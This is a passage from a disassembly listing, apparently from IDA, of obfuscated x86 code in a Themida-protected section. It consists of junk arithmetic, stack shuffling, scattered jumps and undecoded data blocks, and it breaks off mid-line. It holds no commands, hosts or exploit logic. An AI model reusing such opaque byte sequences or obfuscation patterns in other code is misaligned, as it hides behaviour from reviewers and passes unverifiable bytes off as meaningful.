loc_513370: ; CODE XREF: Themida_:00514582j push edx mov edx, 68063603h add eax, edx pop edx add eax, ebp push edx mov edx, 63B1396h sub edx, 35514E06h shl edx, 4 neg edx or edx, 7BE20930h dec edx jmp loc_519AF2 ; --------------------------------------------------------------------------- dd 68240C8Bh, 270Ah, 54243489h, 5BB9515Eh, 8109FF0Dh, 313323E9h dd 0CE65E95Fh, 49BBFFFFh, 0E940F716h, 64B3h, 66E98166h dd 0E1C16641h, 0DB9DE902h, 34FFFFFFh, 0BD6AE924h, 0E9580000h dd 5EAh, 4EC815Eh, 89000000h, 97E92404h, 3300003Ch, 1C31241Ch dd 241C3324h, 8124248Bh, 2590242Ch, 2C8173E8h, 6E1E2724h dd 242C8144h, 3CB822E4h, 52240401h, 0B822E4BAh, 2A75E93Ch dd 8B660000h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_51A192 ; --------------------------------------------------------------------------- a_zsf db '_ZF',0 dd 0CB215D00h, 5131E959h, 34870000h, 24248B24h, 645168h dd 242C8900h, 4068E9h db 0 ; --------------------------------------------------------------------------- loc_513449: ; CODE XREF: Themida_:005173EBj xchg edi, [esp] mov esp, [esp] xor esi, 96899A1Bh xor eax, esi mov esi, [esp] push edx mov edx, esp jmp loc_518420 ; --------------------------------------------------------------------------- dw 0C14Eh dd 0FF6808EEh, 89000023h, 0E0E92414h, 5C000012h, 52DAE9h dd 2474FF00h, 8BE95F04h, 55FFFFD8h, 0E955D589h, 0FFFFC13Ch ; --------------------------------------------------------------------------- loc_51348C: ; CODE XREF: Themida_:0051D14Dj add edi, 4 jmp loc_518EA8 ; --------------------------------------------------------------------------- db 8Fh dd 0EBE92404h, 2DFFFFB7h, 66506DA7h, 0E958C701h, 9432h ; --------------------------------------------------------------------------- loc_5134AC: ; CODE XREF: Themida_:0050B79Dj mov edx, 4 add ebx, edx jmp loc_511873 ; --------------------------------------------------------------------------- dd 40E9C2FEh db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5134BF: ; CODE XREF: Themida_:00517739j add edx, 7CB44C90h xor edx, 620D4267h or edx, 1A4E5D92h jmp loc_520D4C ; --------------------------------------------------------------------------- dw 0E5C0h dd 0FFED8004h, 0F18EE953h, 248BFFFFh, 0C8B6624h, 8B545024h dd 0C4832404h, 4EF76804h, 7BE90000h, 52FFFFEFh, 45AD5BAh dd 76E2813Fh, 8132835Dh, 5529E3EAh, 44EA817Fh, 8131A069h dd 0D4B9F5EAh, 5AD58975h, 0E95DEF01h, 71CDh, 582434FFh dd 570F6853h, 76E90000h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebp, 3303299h jmp loc_511912 ; --------------------------------------------------------------------------- db 58h dd 0EA81DA01h, 57C42CC7h, 4D4BD55h, 78E93AF7h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_513563: ; CODE XREF: Themida_:0050EE43j mov ebx, [esp] jmp loc_518D07 ; --------------------------------------------------------------------------- db 29h dd 5FBF57E8h, 2977946Dh, 815EE9F8h, 362CFFFFh, 24148B66h dd 2C481h, 0EC810000h, 4, 68241C89h, 4329h, 53240489h dd 0C380C6B3h, 8A6AE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5135A2: ; CODE XREF: Themida_:00514445j add esp, 4 jmp loc_50D4F1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF2434FFh, 81592434h, 4C4h, 0E1895100h, 4C181h, 0C1830000h dd 240C8704h, 0E924248Bh, 0FFFFF72Fh, 4B6EE981h, 0C9813F9Bh dd 3E9E04E3h, 2B60BB53h, 0F381118Ah, 0CD84F8F7h, 0D6E0E9h db 0 ; --------------------------------------------------------------------------- loc_5135F1: ; CODE XREF: Themida_:00520558j push eax mov eax, 0E5C468DBh sub edi, 3309042Ah add edi, eax push esi push edx mov edx, 135577ACh mov esi, edx pop edx jmp loc_51D84E ; --------------------------------------------------------------------------- dw 0F66h dd 79E9C8B6h, 0B8FFFFF0h, 4, 0FF9B49E9h, 240431FFh, 5C240433h dd 0FF7FB8E9h, 24048FFFh, 5124248Bh, 0FFC94AE9h, 2474FFFFh dd 24148B04h, 8F04C483h, 248B2404h, 14896624h, 9C506624h dd 0FF7F90E9h, 1ABB53FFh, 293E897Fh, 0EC815BDFh, 4, 0BA241489h dd 339619Fh, 8B5AD729h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edi, [esp] jmp loc_5179D0 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 5604C483h, 0C681E689h, 4, 4C681h, 34870000h, 0C7835C24h dd 53E95704h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5136AF: ; CODE XREF: Themida_:00518672j xor edi, 6309C7A4h and eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_520A3D ; --------------------------------------------------------------------------- db 81h dd 0F8B41FEFh, 0E9FE8966h, 1705h, 57B45066h, 5866E328h dd 505DB652h, 0C6280FB0h, 0CCA4E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5136E6: ; CODE XREF: Themida_:00518AA6j inc bh xor bh, 2 sub dl, bh pop ebx pop eax shl dl, 6 add dl, 34h add dl, 1Bh add al, 0Eh push 4E91h jmp loc_517D55 ; --------------------------------------------------------------------------- loc_513704: ; CODE XREF: Themida_:00513E99j shr ebp, 6 push esi mov esi, 70A56D2Ah not esi add esi, 28C11BB3h sub esi, 2F9F127Eh xor esi, 0E78DD3F9h or ebp, esi pop esi shr ebp, 1 xor ebp, 37F9E7FDh add edx, ebp jmp loc_51FB06 ; --------------------------------------------------------------------------- align 4 aSK db 'k',0 align 2 loc_51373A: ; CODE XREF: Themida_:00511378j pop ebp dec edi push esi mov esi, 14D766CDh jmp loc_513912 ; --------------------------------------------------------------------------- loc_513747: ; CODE XREF: Themida_:0051004Aj push dword ptr [esp] pop esi jmp loc_50D7BD ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFA495h ; --------------------------------------------------------------------------- loc_513758: ; CODE XREF: Themida_:00518620j sub edx, 573674AAh push esi mov esi, 3E661F24h sub esi, 1 sub esi, 3C8E89D1h xor edx, esi pop esi add edi, edx mov edx, [esp] jmp loc_51905A ; --------------------------------------------------------------------------- dw 34BAh dd 811BD40Bh, 406F25EAh, 0AFD9E95Dh, 0E950FFFFh, 67ACh dd 5202C483h, 0D2F6AFB2h, 0FFFD1BE9h, 0C0B60FFFh, 4406866h dd 24048966h, 0FF7E38E9h db 0FFh ; --------------------------------------------------------------------------- loc_5137AD: ; CODE XREF: Themida_:00512870j pop esp neg esi jmp loc_50CFE0 ; --------------------------------------------------------------------------- loc_5137B5: ; CODE XREF: Themida_:0050CB2Cj xor ebp, edx pop edx and eax, ebp jmp loc_512A32 ; --------------------------------------------------------------------------- loc_5137BF: ; CODE XREF: Themida_:0050F29Dj mov [esp], ecx jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 5Ah dd 0E981E901h, 0CB448A8h, 0FF8044E9h db 0FFh ; --------------------------------------------------------------------------- loc_5137D5: ; CODE XREF: Themida_:0051E544j add esp, 4 push 6C5Dh mov [esp], ebx mov ebx, esp push edi mov edi, 2E7C7345h shl edi, 1 push ecx mov ecx, 2C030E62h xor edi, ecx jmp loc_520FD9 ; --------------------------------------------------------------------------- aSsap db 'SP',0 db 0 ; --------------------------------------------------------------------------- loc_5137FD: ; CODE XREF: Themida_:00515DB1j sub esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] jmp loc_50CFFB ; --------------------------------------------------------------------------- dd 8B062CBAh, 0D1EA8144h, 0C123F718h, 0BB5307EAh, 66F84481h dd 4A5BDA21h, 0FFE4DCE9h, 3CBF57FFh, 0E90DC84Ah, 9A9Fh ; --------------------------------------------------------------------------- loc_513838: ; CODE XREF: Themida_:00514F13j add dword ptr [esp+4], 1E735193h pop edi push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp jmp loc_5104EE ; --------------------------------------------------------------------------- loc_51384F: ; CODE XREF: Themida_:0050BC2Dj mov ecx, 0C1413E7h push ebx mov ebx, 1B1055FEh and ecx, ebx pop ebx and ecx, 64D749EEh jmp loc_50C750 ; --------------------------------------------------------------------------- loc_513868: ; CODE XREF: Themida_:00512EA9j xor esi, 46F33C35h shl esi, 2 add esi, 723E5674h add esi, 0A0D667A9h mov ebp, esi mov esi, [esp] jmp loc_515552 ; --------------------------------------------------------------------------- loc_513887: ; CODE XREF: Themida_:0051750Bj pop edx shr eax, 0Ah xor eax, ecx push 8A8h mov [esp], eax xor [esp], ecx xor ecx, [esp] xor [esp], ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx not dword ptr [esp] mov ecx, [esp] jmp loc_515121 ; --------------------------------------------------------------------------- loc_5138BC: ; CODE XREF: Themida_:0051C685j push eax jmp loc_515410 ; --------------------------------------------------------------------------- dw 1489h dd 56E28924h, 39AE9h, 68535D00h, 2, 5B2434FFh, 0FF83D2E9h dd 0A7EA81FFh, 0E925824Fh, 0A9D9h, 0C981D9F7h, 4FC22537h dd 6F33E981h, 47E97FEBh, 1FFFFA8h, 0F2BB53F8h, 293DFD32h dd 555F5BD8h, 2BDh, 1750E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513912: ; CODE XREF: Themida_:00513742j sub edi, esi jmp loc_514992 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0A5h dd 815D4C38h, 0BEFB19EAh, 5AD629D4h, 0FF2434FFh, 835B2434h dd 0C48104C4h, 4, 0C681C601h, 15784AC1h, 679668h, 24348900h dd 0D2DEE9h, 30736800h, 2C890000h, 3652BD24h, 0E5C142E1h dd 52BF5705h, 1415C3Ah, 52515FFDh, 372E4ABAh, 5E2C17Dh dd 3C8EF281h, 0DAF74AD0h, 13C2814Ah, 0E92B9E2Ah, 0FFFFD694h dd 5C24048Fh, 54243C89h, 0FF8518E9h, 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax mov eax, 4 mov ecx, eax pop eax sub ebp, 9A75936h add ebp, ecx add ebp, 9A75936h jmp loc_520FF5 ; --------------------------------------------------------------------------- loc_5139B5: ; CODE XREF: Themida_:0051536Fj pop esp xchg esi, [esp] jmp loc_510AA4 ; --------------------------------------------------------------------------- loc_5139BE: ; CODE XREF: Themida_:0051A515j sub cl, 66h jmp loc_519E97 ; --------------------------------------------------------------------------- dw 0FF53h dd 8B042474h, 0C481241Ch, 4, 0A834E9h, 4EB8100h, 87000000h dd 895C241Ch, 4812424h, 424h, 24048F00h, 0B14FE9h db 0 ; --------------------------------------------------------------------------- loc_5139F5: ; CODE XREF: Themida_:005187D7j add al, dh mov dx, [esp] push 50ACh mov [esp], ebx jmp loc_5142D7 ; --------------------------------------------------------------------------- loc_513A08: ; CODE XREF: Themida_:0052036Ej mov ecx, 58E02C14h add [esp+8], ecx jmp loc_511296 ; --------------------------------------------------------------------------- loc_513A16: ; CODE XREF: Themida_:0051DD2Dj sub ecx, ebx push eax mov eax, 25F8760Fh sub ecx, eax mov eax, [esp] add esp, 4 pop ebx jmp loc_50D184 ; --------------------------------------------------------------------------- dd 389DC281h, 0D7310D97h, 1ACF815Ah, 0E9536036h, 0C287h ; --------------------------------------------------------------------------- loc_513A40: ; CODE XREF: Themida_:00519CCEj pop eax sub bl, 0E0h sub bl, 1Eh movzx eax, al jmp loc_51BC9E ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 0B78DE924h, 0E9500000h, 6802h, 0F624B151h dd 0C6E980D1h, 0E9D0C9FEh, 8013E180h, 0CB88C9C1h, 66DA3059h dd 83241C8Bh, 0D00002C4h, 2434FF5Ah, 4C4835Ah, 0B60FC330h dd 8734FFC0h, 1E96853h, 34FF109Bh, 92E6E924h, 0F281FFFFh dd 13157655h, 815AD609h, 664E5F6h, 4CC38121h, 290A7B15h dd 4CEB81F3h, 0E90A7B15h, 0C040h ; --------------------------------------------------------------------------- loc_513AC0: ; CODE XREF: Themida_:0051BAD0j sub edx, 4 jmp loc_5159F1 ; --------------------------------------------------------------------------- dd 8107EAC1h, 0FFFFFFEAh, 8E2C1FFh, 2414F752h, 1832E95Ah dd 0EB890000h, 0E9242C8Bh, 0B158h, 0FC33166h, 0EC83C0B7h dd 24148904h, 21E868h, 241C8900h, 0BA52E389h, 6EC001D9h dd 0E9D2F74Ah, 500Eh, 242C875Eh, 8BD7E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513B16: ; CODE XREF: Themida_:00519DA6j mov ecx, 24h push edx mov edx, 72562D7h jmp loc_51763A ; --------------------------------------------------------------------------- dw 0ED81h dd 41D33E9Bh, 7EB9515Eh, 81665038h, 0B55F0AF1h, 5749414Fh dd 0D244F0BFh, 0F2F78120h, 0F75A6841h, 30C781DFh, 31E0986Bh dd 0C8015FF9h, 0B2B3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513B5A: ; CODE XREF: Themida_:00520FF0j push ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 7B1D3FFAh sub esp, 4 mov [esp], ebp mov ebp, 284F34F0h jmp loc_520D7A ; --------------------------------------------------------------------------- dw 8743h dd 8777E9DAh, 0BE66FFFFh, 16637FCh, 66062474h, 2A9FE95Eh dd 0FD080000h, 0F5805B66h, 55C780C0h, 43EF80h, 43C780EFh dd 5955EF80h, 0C3E9C728h, 0F7000058h, 0E95F2414h, 0FFFF94B9h dd 5C242C87h, 0F66C331h, 686600B6h, 89664F31h, 0AE92404h dd 89FFFF7Ah, 24048BC3h, 4C481h, 61E90000h, 0B20000B6h dd 0CF6DE90Bh, 0BD55FFFFh, 76061D8Dh, 0E95DEF29h, 0FFFF89D6h ; --------------------------------------------------------------------------- loc_513C00: ; CODE XREF: Themida_:0051816Bj shr esi, 1 xor esi, 35827B6Fh push esi pop ebp pop esi shl ebp, 2 sub esp, 4 jmp loc_51C1D4 ; --------------------------------------------------------------------------- db 57h, 89h, 0C7h dd 585FFE89h, 6BE9h db 0 ; --------------------------------------------------------------------------- loc_513C25: ; CODE XREF: Themida_:0051FCAEj xchg ebp, [esp] pop esp xor eax, ecx jmp loc_51CB68 ; --------------------------------------------------------------------------- dd 0BB241C89h, 3114203Dh, 8103E3C1h, 0A101ECF3h, 0CAC78188h dd 133C368h, 0CD37E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_513C4E: ; CODE XREF: Themida_:005205CFj dec eax jmp loc_51D0D2 ; --------------------------------------------------------------------------- dd 1374EF81h, 0EF8120C1h, 29433918h, 8EE9EF01h, 0BE0000B4h dd 4, 815EF201h, 4C2h, 24148700h, 2022E9h, 24348700h, 0FFDEB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_513C85: ; CODE XREF: Themida_:0050CDBFj sub esp, 4 jmp loc_5147C5 ; --------------------------------------------------------------------------- dd 7FF9C781h, 0E3E9038Ah, 0FFFFC7h, 0AC89E9E8h, 0F752FFFFh dd 0BEE92414h, 0B5000051h, 5AF52814h, 0E9EFF580h, 0FFFFFD97h dd 53F3B151h, 0E380A3B3h, 86E38081h, 0CBFED3F6h, 5FEB80h dd 0C6805BD9h, 80CE2881h, 6FE981EEh, 870000A7h, 248B240Ch dd 0C8B6624h, 0A05DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513CEA: ; CODE XREF: Themida_:0051A033j mov edi, 1E55602h jmp loc_51A480 ; --------------------------------------------------------------------------- loc_513CF4: ; CODE XREF: Themida_:00520DE0j pop edx xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_513D01: ; CODE XREF: Themida_:005178DFj or edx, 3EEF7FC5h jmp loc_51A029 ; --------------------------------------------------------------------------- loc_513D0C: ; CODE XREF: Themida_:00512D1Fj mov ebp, 2E7B3B54h add ecx, 6C034EDFh add ecx, ebp sub ecx, 6C034EDFh pop ebp mov esi, ecx pop ecx add esi, 0A3DAA330h add ebp, 55735353h add ebp, esi push eax mov eax, 55735353h sub ebp, eax pop eax push dword ptr [esp] jmp loc_5114B9 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 34FFC831h, 240C8B24h, 21FE9h, 1BE00h, 0EA810000h dd 737C158Ah, 8AE9F201h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_513D67: ; CODE XREF: Themida_:0051F26Bj push ebp pop esi jmp loc_5202C0 ; --------------------------------------------------------------------------- dw 0C483h dd 2434FF04h, 4C48359h, 0FF7868E9h, 56C280FFh, 0FF7DFFE9h dd 9CBA52FFh, 81542B2Ah, 287322EAh, 0EFCA8145h, 0C128B529h dd 99E907EAh, 68000099h, 3BE6h, 0BE243489h, 69C84CACh dd 370EF681h, 0C683657Fh, 55DEF701h, 38B9E9h db 0 ; --------------------------------------------------------------------------- loc_513DBD: ; CODE XREF: Themida_:0050F048j pop ebp push ebx mov ebx, 0 sub ebx, 34C74DD7h add ebx, ecx add ebx, 34C74DD7h push edx mov edx, 0 add edx, ebx jmp loc_51E0CF ; --------------------------------------------------------------------------- loc_513DDF: ; CODE XREF: Themida_:00519C29j push esi jmp loc_51C3DC ; --------------------------------------------------------------------------- db 81h, 0F7h, 4Ah dd 476D8822h, 16CEF81h, 0EF815E3Fh, 29465DB3h, 525FFB01h dd 4BAh, 0E9D32900h, 0FFFFA231h ; --------------------------------------------------------------------------- loc_513E08: ; CODE XREF: Themida_:00515CD7j mov esp, [esp] add esp, 4 sub esp, 4 mov [esp], edx push 582Eh mov [esp], edi push ecx push 0D43758Fh mov ecx, [esp] add esp, 4 push edx mov edx, 46055A83h and edx, 219D68ECh jmp loc_518DA3 ; --------------------------------------------------------------------------- loc_513E3C: ; CODE XREF: Themida_:00516C33j mov ecx, 6313276Ch sub ecx, 557AC084h sub esi, ecx jmp loc_51B61F ; --------------------------------------------------------------------------- loc_513E4E: ; CODE XREF: Themida_:0050E33Aj shr ecx, 4 or ecx, 5AF604EFh add ecx, 0A5015315h add eax, ecx pop ecx xor eax, [esp] xor [esp], eax jmp loc_51F939 ; --------------------------------------------------------------------------- db 55h dd 95154468h, 936FE908h, 0EC810000h, 4, 0E9241C89h, 0FFFFA6F2h ; --------------------------------------------------------------------------- loc_513E84: ; CODE XREF: Themida_:0051FEF8j add edx, ecx pop ecx push ebp mov ebp, 6FD9388Ah or ebp, 42A2342Dh sub ebp, 0B1847B7h jmp loc_513704 ; --------------------------------------------------------------------------- loc_513E9E: ; CODE XREF: Themida_:00516D83j add eax, 47493691h jmp loc_50C085 ; --------------------------------------------------------------------------- dd 42474FFh, 0FF2434FFh, 0A0E92434h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_513EB7: ; CODE XREF: Themida_:00520A40j xor eax, ecx push eax push 1513h mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] jmp loc_51A61D ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0FFB5C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_513ED9: ; CODE XREF: Themida_:0051656Aj shl ebp, 1 jmp loc_51A9C7 ; --------------------------------------------------------------------------- dd 0E9243489h, 0FFFFB31Ch, 8BBD5558h, 0E97B180Ah, 0B9FAh dd 0E924048Fh, 2DA7h, 34FFD101h, 12F0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_513F06: ; CODE XREF: Themida_:0051847Aj push eax mov al, 96h sub dl, al pop eax xor ch, dl push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ch, 26h sub al, 0Ch sub al, ch add al, 0Ch push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 0A7Dh jmp loc_51C0D6 ; --------------------------------------------------------------------------- loc_513F55: ; CODE XREF: Themida_:0051509Cj xor ebx, edx pop edx jmp loc_514A1C ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFD702h, 24048B66h, 0E904EC83h, 0B99Bh dd 8304C483h, 0C33104C4h, 243EE9h, 4BD00h, 6C010000h, 8B5D0424h dd 0D9E92404h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_513F93: ; CODE XREF: Themida_:0051A28Aj mov [esp], ebx mov ebx, 4 add eax, 583F62C9h add eax, ebx sub eax, 583F62C9h pop ebx jmp loc_51FFEC ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 1000000h, 2434FFFBh, 4C4815Fh, 87000000h, 685C241Ch dd 3728h, 61B1E9h, 4C68100h, 291CF776h, 4BA52EEh, 291CF776h dd 0E95D5AD6h, 5DD6h ; --------------------------------------------------------------------------- loc_513FE4: ; CODE XREF: Themida_:0051CB3Dj push ebp mov ebp, esp jmp loc_51CE87 ; --------------------------------------------------------------------------- dd 0D826E956h, 3768FFFFh, 0E9000018h, 0FFFFD381h, 81240C8Bh dd 4C4h, 9D28E900h, 1C8B0000h, 0A374E924h, 5F5AFFFFh, 6064CA81h dd 0F79212C2h, 0A583E9D8h, 0C2810000h, 2, 31241433h, 14332414h dd 8ABE924h, 875A0000h, 0DFA4E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51403E: ; CODE XREF: Themida_:0051A09Dj pop edi mov ecx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 and ebx, edx mov edx, [esp] push eax push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or ebx, ebx jnz loc_514A85 push 4AC2h jmp loc_520D88 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 90F0500h, 49E96879h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51408F: ; CODE XREF: Themida_:005159BFj mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx mov edx, 40181AB3h xor eax, edx jmp loc_518D2C ; --------------------------------------------------------------------------- db 57h dd 75A87BFh, 0E9FB211Eh, 1ED4h ; --------------------------------------------------------------------------- loc_5140BC: ; CODE XREF: Themida_:005130EAj push eax mov eax, 71FB45A8h jmp loc_51DBE3 ; --------------------------------------------------------------------------- loc_5140C7: ; CODE XREF: Themida_:00510710j push dword ptr [esp] mov ebx, [esp] push 5D2Ah mov [esp], eax jmp loc_51AE8C ; --------------------------------------------------------------------------- dw 5E68h dd 583BBA21h, 336FE2Dh, 43962D32h, 270504BAh, 0E94816BDh dd 1083h, 0C721E95Fh, 68ADFFFFh, 1F5Ah, 0E9243C89h, 73BBh ; --------------------------------------------------------------------------- loc_514108: ; CODE XREF: Themida_:0051B1A3j mov ecx, 4 sub ebx, 739F3EBEh add ebx, ecx jmp loc_50E195 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 31241C33h, 1C33241Ch, 8B665C24h, 8352240Ch dd 248904ECh, 23A7E924h, 295A0000h, 0EEC381FBh, 816DCC6Ch dd 0D66F3CC3h, 32EAE945h, 34870000h, 3C895C24h, 835F5424h dd 148904ECh, 6E816824h, 1C890000h, 1470BB24h, 0F3811178h dd 3CDE5CB0h, 0DBF7D3F7h, 0B743C381h, 5A53D259h, 0E92434FFh dd 0FFFFDCE9h, 0BB53F101h, 24E40504h, 0FFE0F4E9h, 240C89FFh dd 753A71B9h, 0D478E901h, 0F796FFFFh, 0E9C631D8h, 7503h dd 4BAh, 8BD12900h, 56682414h, 0E9000079h, 3247h ; --------------------------------------------------------------------------- loc_5141BC: ; CODE XREF: Themida_:00518199j xor eax, ecx push 71h mov [esp], edi push ebx mov ebx, esp jmp loc_50F32E ; --------------------------------------------------------------------------- loc_5141CE: ; CODE XREF: Themida_:00519DD2j pop edi jmp loc_51BB71 ; --------------------------------------------------------------------------- dd 740BE95Ch, 0BE56FFFFh, 1AB533DBh, 79B1C681h, 0F68124E0h dd 3A033CEh, 1601EE81h, 0EE81280Eh, 0E8F74E0Ah, 2AE9F001h dd 0F7000047h, 52EF87D5h, 24148B57h, 0E904C483h, 2C23h dd 68243489h, 35B6h, 24048F54h, 0CEA0E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514222: ; CODE XREF: Themida_:00516E11j add ebp, eax pop eax jmp loc_51FCBF ; --------------------------------------------------------------------------- dw 0AA68h dd 0E9000026h, 69C4h, 81243C8Bh, 4C4h, 24343300h, 33243431h dd 248B2434h, 0AE52E924h, 0C721FFFFh, 8324048Bh, 0E95204C4h dd 0FFFF88ECh, 0DBC58159h, 0E9155D25h, 0F4Fh, 0B850E589h dd 4, 4AE9C501h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514277: ; CODE XREF: Themida_:00518A2Ej not edx add edx, 3A8376C6h sub ebp, edx pop edx xor ebp, 7F3D4893h sub edx, ebp pop ebp push dword ptr [esp] pop edi add esp, 4 xor edx, 37950277h jmp loc_519F2E ; --------------------------------------------------------------------------- db 53h, 0BBh, 0A0h dd 0E929545Fh, 0FFFFD344h, 1CD968h, 24248900h, 0FF9DFEE9h dd 24048FFFh, 4567E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5142BE: ; CODE XREF: Themida_:00512DC8j mov bl, 78h or bl, 88h jmp loc_50EFAA ; --------------------------------------------------------------------------- dd 50241C89h, 45615868h, 86E95807h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5142D7: ; CODE XREF: Themida_:00513A03j mov ebx, esp jmp loc_51D4AC ; --------------------------------------------------------------------------- loc_5142DE: ; CODE XREF: Themida_:0051171Dj push ebp mov ebp, 2 mov edi, ebp pop ebp sub eax, 17207626h add eax, edi add eax, 17207626h pop edi jmp loc_51AA33 ; --------------------------------------------------------------------------- db 29h, 0C8h, 5 dd 26683F4Dh, 5D00159h, 75DD59B6h, 0A06DE9h, 24343300h dd 33243431h, 315C2434h, 0C6E92404h, 8BFFFF72h, 1EE92424h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514327: ; CODE XREF: Themida_:00520308j mov [esp], ecx mov ecx, 7B090548h inc ecx neg ecx neg ecx jmp loc_50BAB8 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 1A94E9h, 24148900h, 0B951E289h, 4, 34FFCA01h, 0BE88E924h dd 0B252FFFFh, 5AD088C2h, 0FF72B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_514361: ; CODE XREF: Themida_:00512900j add esp, 4 push 4399h mov [esp], esi jmp loc_51B972 ; --------------------------------------------------------------------------- db 80h, 0E1h, 0FCh dd 0C180D9F6h, 0ECB050E0h, 2C04E0C0h, 9264E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_514386: ; CODE XREF: Themida_:0051D2BCj push ecx mov cl, 29h not cl push edx mov dh, 9Eh and cl, dh pop edx add cl, 13h push ax mov ah, 5Ch add cl, ah pop ax add cl, 27h add bl, cl jmp loc_5114ED ; --------------------------------------------------------------------------- dw 815Eh dd 1572AEAh, 81DA2957h, 1572AC2h, 241C8B57h, 0E9E38953h dd 0B617h, 241C8966h, 0D80079B3h, 241C8B66h, 2802C483h dd 0FF792CF8h, 0E95B2434h, 0FFFF82A8h, 4B9h, 59CE2900h dd 0FF9BB1E9h, 0D18958FFh, 8C52E9h, 4BD00h, 0EF010000h dd 4C7815Dh, 0E9000000h, 0FFFF77ACh, 28C0C380h, 16E951F3h dd 68000042h, 583h, 83242489h, 0FF042404h, 1EE92434h, 0B4FFFF78h dd 66E22816h, 77DCE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51442E: ; CODE XREF: Themida_:0050CC28j pop esp shl byte ptr [esp], cl pushf jmp loc_517565 ; --------------------------------------------------------------------------- loc_514438: ; CODE XREF: Themida_:005188D2j push 122794Dh pop esi add [esp+4], esi mov esi, [esp] jmp loc_5135A2 ; --------------------------------------------------------------------------- loc_51444A: ; CODE XREF: Themida_:00515C00j mov esp, [esp] sub ebp, 1 inc ebp shl ebp, 4 add ebp, 0F0D8C280h mov ecx, ebp jmp loc_518F49 ; --------------------------------------------------------------------------- db 5Eh, 8Fh, 4 dd 24248B24h, 66F13166h, 3166CE31h, 0C3166F1h, 0C336624h dd 0C316624h, 7163E924h, 835AFFFFh, 2D6804C4h, 0E9000010h dd 0FFFF75F5h ; --------------------------------------------------------------------------- loc_514490: ; CODE XREF: Themida_:00517513j mov ah, 5Eh shl ah, 4 shr ah, 5 shr ah, 4 inc ah sub esp, 4 mov [esp], ebx mov bh, 2Eh shr bh, 8 jmp loc_511D99 ; --------------------------------------------------------------------------- dd 61D8DBDh, 5DEF0176h, 2E27E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5144BE: ; CODE XREF: Themida_:0050C816j jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 5Dh dd 4C781h, 0FF570000h, 0E9042474h, 2331h, 0A968FE89h, 89000028h dd 27682404h, 8900000Fh, 4812434h, 0BB74E824h, 6C0CE920h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5144F2: ; CODE XREF: Themida_:0050CE8Aj add esp, 4 neg ecx add ecx, 1 add ecx, 0FDD372FCh add dword ptr [esp+4], 0BE74545h sub dword ptr [esp+4], 55757AD8h push edx mov edx, 26A02D00h sub [esp+8], edx pop edx add [esp+4], ecx add dword ptr [esp+4], 26A02D00h add dword ptr [esp+4], 55757AD8h sub dword ptr [esp+4], 0BE74545h jmp loc_50BA1B ; --------------------------------------------------------------------------- db 1 dd 3C875DEFh, 24248B24h, 0FF7098E9h, 0C5B951FFh, 0C151BC3Eh dd 0E1C106E1h, 